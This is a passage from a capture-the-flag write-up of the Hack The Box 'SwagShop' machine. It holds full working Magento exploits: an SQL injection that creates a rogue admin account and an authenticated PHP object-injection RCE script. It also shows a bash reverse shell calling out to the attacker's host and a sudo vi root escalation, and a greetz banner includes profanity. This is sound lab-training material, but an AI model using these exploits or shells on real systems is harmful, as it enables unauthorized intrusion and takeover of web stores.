SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"
/////////////////
exploit code ends here
--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3
The first thing I want to do is remove the top part of the code with all the slashes, as python probably won’t like that.
OK, so we see that it if the exploit works, it should create a user called ‘forme’ with the same password, and if it does not, it will print “Did Not work.” Let’s go ahead and change the default credentials it creates to something a little less obscure, change the target details, then give it a shot. I’ll make the login be initinfosec / hopeipassoscp
It looks like the admin page that the SQL injection is happening on is suffixed with "/admin/Cms_Wysiwyg/directive/index/" - i’m going to go ahead and add /index.php on the end of the target URI due to the weird URL prepending we were seeing earlier. Actually, we can confirm if we need to do this by visiting the URLs.
Going to http://10.10.10.140/admin/Cms_Wysiwyg/directive/index/ yields:
Not Found
The requested URL /admin/Cms_Wysiwyg/directive/index/ was not found on this server.
Apache/2.4.18 (Ubuntu) Server at 10.10.10.140 Port 80
Going to http://10.10.10.140/index.php/admin/Cms_Wysiwyg/directive/index/ does seem to bring up an admin page with a login:
So we end up changing two properties in the exploit - the target to target = "http://10.10.10.140/index.php" and the default credentials. We also remove a bit of extranous code comments and cosmetics so that python won’t encounter invalid syntax. Let’s try and give it a run:
Leveraging admin access for a secondary exploit
root@kali:/writeups/HTB/swagshop/exploits# python magento_php_entity_injection.py
WORKED
Check http://10.10.10.140/index.php/admin with creds forme:forme
Awesome, supposedly it worked. Since we changed the creds, we’ll try those (and if I was thinking, I might have changed the output of the success message.)
Logging in seems to work, but has a very strange result. It seems to redirect us to the URL http://10.10.10.140/index.php/admin/Cms_Wysiwyg/directive/key/a3435277b72c0be78931f3acdb0bc456/ and has very strange, probably garbage/garbled output on the page. Removing everything past the admin portion seems to direct us to the right place, however, and it seems we’re inside the admin console:
Great, so the exploit works. Now that we have credentials, let’s see if we can use the authenticated remote code execution exploit we saw earlier.
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py
Taking a quick look with searchsploit -x exploits/php/webapps/37811.py, it looks like the code is passing command execution through PHP, using what looks like some encoding to trick PHP into doing a user_exec call, and then running the exploit on the system from there. Not too familiar with what it’s doing, but let’s go ahead and give it a try. Let’s download the code and see what parameters need to change.
root@kali:/writeups/HTB/swagshop/exploits# searchsploit -m exploits/php/webapps/37811.py
Exploit: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/37811
Path: /usr/share/exploitdb/exploits/php/webapps/37811.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /writeups/HTB/swagshop/exploits/37811.py
root@kali:/writeups/HTB/swagshop/exploits# mv 37811.py authed_magento_rce.py
Looks like we’ll have to provide the authentication credentials in the config, and then run the exploit with the target, and pass a single command to the target specifying the server. The code states that we can only pass a single argument, which is probably becasue of the way the php user_exec function is working.
Here’s the exploit code with the credentials modified:
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = 'initinfosec'
password = 'hopeipassoscp'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
Let’s see if it works by running a simple whoami command. If it works, then we can try launching a reverse shell and catching it with netcat. Let’s first confirm usage though:
Traceback (most recent call last):
File "authed_magento_rce.py", line 16, in <module>
import mechanize
ImportError: No module named mechanize
OK, let’s see if we can install mechanize, then run it again.
root@kali:/writeups/HTB/swagshop/exploits# pip install mechanize
Collecting mechanize
Downloading https://files.pythonhosted.org/packages/13/08/77368b47ba2f9e0c03f33902ed2c8e0fa83d15d81dcf7fe102b40778d810/mechanize-0.4.5-py2.py3-none-any.whl (109kB)
100% |████████████████████████████████| 112kB 1.5MB/s
Requirement already satisfied: html5lib>=0.999999999 in /usr/lib/python2.7/dist-packages (from mechanize) (1.0.1)
Installing collected packages: mechanize
Successfully installed mechanize-0.4.5
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py
Usage: python %s <target> <argument>
Example: python %s http://localhost "uname -a"
OK, now giving it a test:
File "/usr/local/lib/python2.7/dist-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2448, in _find_control
raise ControlNotFoundError("no control matching " + description)
mechanize._form_controls.ControlNotFoundError: no control matching name 'login[password]'
troubleshooting and modifying the exploit
Alright, so we get some errors we may have to fix. Looks like the error started here:
br['login[password]'] = password
It seems that perhaps the password field is not being detecting on the form that is trying to be authenticated to? Afer some further looking at the exploit, I notice the following line:
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
Chances are, the date given in the exploit is not correct, and this needs to be changed. Let’s check what date magento was installed on the host. This particular path seems to 404 on when using the index.php part of the path, so the correct path is http://10.10.10.140/app/etc/local.xml. We see the following under the global tags of the xml:
<install>
<date>Wed, 08 May 2019 07:23:09 +0000</date>
</install>
Let’s go ahead and change the date in the exploit.
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
However, this still causes the script to error out. Let’s try pointing target directly to the admin page where our previous exploit created our creds:
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py http://10.10.10.140/index.php/admin "whoami"
Traceback (most recent call last):
File "authed_magento_rce.py", line 55, in <module>
br['login[username]'] = username
File "/usr/local/lib/python2.7/dist-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2446, in _find_control
description)
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'
Now we get a slightly different error,more than one control matching ‘login(username)’ I remember that the exploit author said they manually had to create the username control, so let’s go ahead and comment that line out and see what we get:
br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
Again, we’re presented with an error, albeit a different one:
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "whoami"
Traceback (most recent call last):
File "authed_magento_rce.py", line 69, in <module>
tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
It looks like may the script could not find or create the object named “tunnel?”
After a bit of looking around line 69 of the exploit, and looking around where tunnel was defined, I think the error is on the previous line:
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
I’m wondering if that is an invalid URI or path. Let’s try playing around with different options, to see if we’re on the right track. Let’s change the period from 7d to 1d to see if that makes a difference.
That didn’t seem to work. I remember on the main admin page that there was an orders tab with a few time period available to select (shown below)to see how many orders have been placed. Let’s try a few periods baesd off of that:
So we ca try editing our period to the following: 24h (or 1d), 7d (or 1w), 1m, 1y, 2y. If this doesn’t work, the issue might be something else, or we might have to find another exploit.
After trying a few options, oddly enough, it seemed the period 2y seemed to work. Not sure why 24h, 1d, and 1y, didn’t work, but we’ll take the win and move on:
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "whoami"
www-data
gaining an initial foothold
Great, let’s try to modify the remote code now to kick off a reverse shell. First let’s start a listener locally with nc -lvnp 43110
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "bash -i >& /dev/tcp/10.10.14.50/43110 0>&1"
It looks like that does not catch on the listener, so let’s try wrapping it with the bash -c option:
root@kali:/writeups/HTB/swagshop/exploits# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "bash -c 'bash -i >& /dev/tcp/10.10.14.50/43110 0>&1'"
And checking our listener, it looks like we got a shell an an initial foothold, awesome!
root@kali:~# nc -lvnp 43110
listening on [any] 43110 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.140] 57566
bash: cannot set terminal process group (1287): Inappropriate ioctl for device
bash: no job control in this shell
Privilege Escalation
So we already know we’re the www-data user, and it looks like we’re in the apache serve directory, /var/www/html, which is to be expected. Let’s do some quick enumeration, and if we need to, we can run an enumeration script as well.
How lucky, one of the first privesc checks I like to run turend up something very useful:
www-data@swagshop:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var/www/html$
So we know we can run vi on a file in our /var/www/html/ directory with sudo privileges, and we also know that vi allows for some shell commands to be sent while in the editor. So we should be able to, from inside the editor, run a command dropping us into a root shell, with :!/bin/bash. Let’s try it out.
gaining a root shell
www-data@swagshop:/var/www/html$ sudo /usr/bin/vi /var/www/html/test
:!/bin/bash
whoami
root
OK, our shell is a little weird, let’s see if we can upgrade it. Looks like python is not installed. There’s an interesting method with socat I wanted to try, detailed here, but it looks like socat is not installed on the target system. :(
Oh well, let’s go ahead and grab our flags and call it a day :)
find / -name user.txt
/home/haris/user.txt
find / -name root.txt
/root/root.txt
And that should be it.
Conclusion
Recommended Remediations
-
The magento install should be updated to a more recent version to protect against exploits on older versions of the framework.
-
Sudo permissions should be assessed and re-addressed as needed; I personally can’t think of a need for the www-data user to need sudo access to write to the /var/www/data folder, but there may be a legitimate reason.
Personal takeaways
- get more comfortable modifying python exploits. Looking back, I seem to remember there being a python debug module; I might have been able to use this to confirm if the tunnel object issue in the second exploit was truly the problem.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!